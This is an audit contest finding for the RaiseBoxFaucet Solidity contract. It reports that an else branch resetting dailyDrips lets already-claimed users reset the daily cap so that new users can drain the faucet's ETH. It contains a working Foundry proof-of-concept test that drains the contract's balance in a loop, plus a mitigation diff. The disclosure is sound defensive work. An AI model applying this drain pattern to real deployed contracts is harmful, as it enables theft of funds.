Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Daily Drip Reset Logic Flaw Allows Complete ETH Drainage

Daily Drip Reset Logic Flaw Allows Complete ETH Drainage

Description

  • The faucet allows first-time users to receive an amount of Sepolia ETH equal to the sepEthAmountToDrip variable. This is regulated by the dailyDrips variable which tracks cumulative ETH distributed and enforces the daily cap. Every 24 hours, the dailyDrips variable is reset to 0, allowing new ETH distributions up to the daily cap. Users who have already claimed ETH (hasClaimedEth[user] == true) are not eligible for additional ETH distributions.

  • Line 212 of the RaiseBoxFaucet.sol contract will reset the dailyDrips to 0 if hasClaimedEth[faucetClaimer] == true or sepEthDripsPaused == true. This creates a scenario where the contract will continue distributing Sepolia ETH beyond the intended cap set by dailySepEthCap. If the dailyClaimLimit is sufficiently high, then the contract could be drained of its entire ETH balance via an orchestrated attack where previously-claimed users periodically reset the counter while new users claim ETH.

function claimFaucetTokens() public {
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
@> dailyDrips = 0;
}
// ...rest of code...
}

Risk

Likelihood:

  • The higher the dailyClaimLimit is set the more likely a user will exploit this vulnerability.

  • The claimFaucetTokens function is a public function increasing the likelihood of this exploit.


Impact:

  • The magnitude of the exploit is bottlenecked by the dailyClaimLimit. If the dailyClaimLimit is sufficiently high the entire balance of Sepolia ETH can be drained from the contract.

  • Each time a previous user calls the claimFaucetTokens function the dailyDrips variable will be reset to 0 before the 24 hour period has elapsed.

Proof of Concept

Phase 1: Legitimate Claims

  • Creates 200 new users (user10 to user209)

  • Each user makes their first claim, receiving 0.005 ETH

  • dailyDrips accumulates to 200 × 0.005 ETH = 1 ETH (hitting the daily cap)

  • All users now have hasClaimedEth[user] = true

Phase 2: The Exploit

The Exploit Mechanism:

  1. Creates 1800 new users (user211 to user2010)

  2. Each new user claims tokens - but since dailyDrips is at the cap (1 ETH), they don't receive ETH

  3. Every 100 iterations (at positions 99, 199, 299, etc.):

  • Uses a user from Phase 1 (who has hasClaimedEth[user] = true)

  • This triggers the else block in the contract (lines 225-228)

  • Resets dailyDrips to 0

  • Now the next 100 new users can claim ETH again

Attack Pattern:

  • Iterations 211-310: 100 new users claim, no ETH (cap reached)

  • Iteration 310: user10 (from Phase 1) claims → dailyDrips = 0

  • Iterations 311-410: 100 new users claim, each gets 0.005 ETH

  • Iteration 410: user11 claims → dailyDrips = 0

  • Iterations 411-510: 100 new users claim, each gets 0.005 ETH

  • Pattern repeats until contract is drained


The exploit works because users who have already claimed ETH can reset the daily counter by making additional claims, allowing unlimited ETH distribution beyond the intended daily cap. This transforms a rate-limited faucet into a drainable contract.

Add this test into RaiseBoxFaucet.t.sol . Initialize the third parameter of raiseBoxFaucet with 1 ether, and run using forge test --match-test testDailyDripResetExploit -vvv

function testDailyDripResetExploit() public {
console.log("Starting Ether Balance: ", raiseBoxFaucetContractAddress.balance);
vm.prank(owner);
// owner raised daily claim limit
raiseBoxFaucet.adjustDailyClaimLimit(3000, true);
// Simulate 200 different users claiming tokens
for (uint256 i = 10; i < 210; i++) {
address user = makeAddr(string(abi.encodePacked("user", i)));
vm.prank(user);
raiseBoxFaucet.claimFaucetTokens();
}
// advance 3 days
advanceBlockTime(block.timestamp + 3 days);
// Second loop bypassing logic and draining contract of all eth
for (uint256 i = 211; i < 2011; i++) {
address user = makeAddr(string(abi.encodePacked("user", i)));
vm.prank(user);
raiseBoxFaucet.claimFaucetTokens();
// Reset dailyDrips every 100 iterations by having a user from first loop claim again
if ((i - 210) % 100 == 99) { // Every 100th iteration (at positions 99, 199, 299, etc.)
// Use a user from the first loop (i=10-209) to reset dailyDrips
uint256 resetUserIndex = 10 + ((i - 210) / 100); // Cycles through users 10, 11, 12, etc.
address resetUser = makeAddr(string(abi.encodePacked("user", resetUserIndex)));
vm.prank(resetUser);
raiseBoxFaucet.claimFaucetTokens();
}
}
console.log("Ending Ether Balance: ", raiseBoxFaucetContractAddress.balance);
assertTrue(raiseBoxFaucetContractAddress.balance == 0, "Contract eth balance should be drained.");
}
Logs:
Starting Ether Balance: 10000000000000000000
Ending Ether Balance: 0

Recommended Mitigation

Remove the else block that resets the dailyDrips to 0.

- remove this code
+ add this code
function claimFaucetTokens() public {
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
+ }
- } else {
- dailyDrips = 0;
- }
// ...rest of code...
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 8 days ago
Submission Judgement Published
Validated
Assigned finding tags:

dailyDrips Reset Bug

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.